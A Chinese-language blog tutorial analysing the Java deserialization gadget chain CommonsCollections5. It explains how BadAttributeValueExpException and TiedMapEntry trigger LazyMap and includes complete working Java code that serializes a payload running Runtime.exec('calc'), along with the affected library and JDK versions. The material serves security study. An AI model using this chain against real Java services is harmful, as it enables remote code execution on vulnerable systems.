Java反序列化漏洞(七)- CommonsCollections5链

CC5 依旧是 LazyMap 加 ChainedTransformer 的触发模式,只不过不再使用 AnnotationInvocationHandler 的动态代理来触发 LazyMap 的 get ,而是找到了其他的方式。
因为 jdk 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 jdk 1.8 版本就必须找出能替代 AnnotationInvocationHandler 的新的可以利用的类。

0x01 前置知识

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry 是一个 Map.Entry 的实现类,从名称中可以看到,这是一个绑定了底层 map 的 Entry,用来使一个 map entry 对象拥有在底层修改 map 的功能。

TiedMapEntry 中有一个成员属性 Map,这就是 Map.Entry 的底层 map,TiedMapEntry 的 getValue() 方法会调用底层 map 的 get() 方法,我们可以用来触发 LazyMap 的 get。那谁会调用 getValue() 方法呢?我们发现 TiedMapEntry 的 equals/hashCode/toString 都可以触发。

equals/hashCode 让我们想到了 URLDNS 的 HashMap,不过在 CC5 中我们用的是 toString() 方法。

接下来需要找到一个类在反序列化时会触发 TiedMapEntry 的 toString() 方法。

BadAttributeValueExpException

于是找到了 javax.management.BadAttributeValueExpException 这个类,反序列化读取 val,当 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的构造。

0x02 攻击构造

使用上述两个新扩展的触发点,配合 LazyMap 就可以完成一条新的攻击路径。由于 ysoserial 使用了 ChainedTransformer + InvokerTransformer 的方式,我这里也同样使用这种方式,当然还可以使用
InvokerTransformer + TemplatesImpl/TrAXFilter + InstantiateTransformer + TemplatesImpl 的方式触发,在上面的例子中都有使用,这里不再重复罗列。

最终的恶意代码如下:

public class cc5sanshi {

    public static String fileName = "CC5.bin";

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        // 创建 ChainedTransformer
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), chain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "sanshi");

        // 实例化 BadAttributeValueExpException 并反射写入
        BadAttributeValueExpException exception = new BadAttributeValueExpException("sanshi");
        Field field     = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(exception, entry);

        writeObjectToFile(exception, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }
}

需要注意的是,BadAttributeValueExpException 构造方法会直接调用 val 的 toString() 触发,所以需要反射写进去。

0x03 总结

以上就是 CC5 链分析的全部内容了,最后总结一下。

1.利用说明:

  • 反序列化 BadAttributeValueExpException 调用 TiedMapEntry 的 toString 方法,间接调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。

2.Gadget 总结:

  • kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#toString()

3.调用链展示:

BadAttributeValueExpException.readObject()
   TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()

4.依赖版本
commons-collections : 3.1~3.2.1
jdk 8u76 without a security manager

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

微信公众号

本文链接:

https://sanshiok.com/archive/24.html

# 最新文章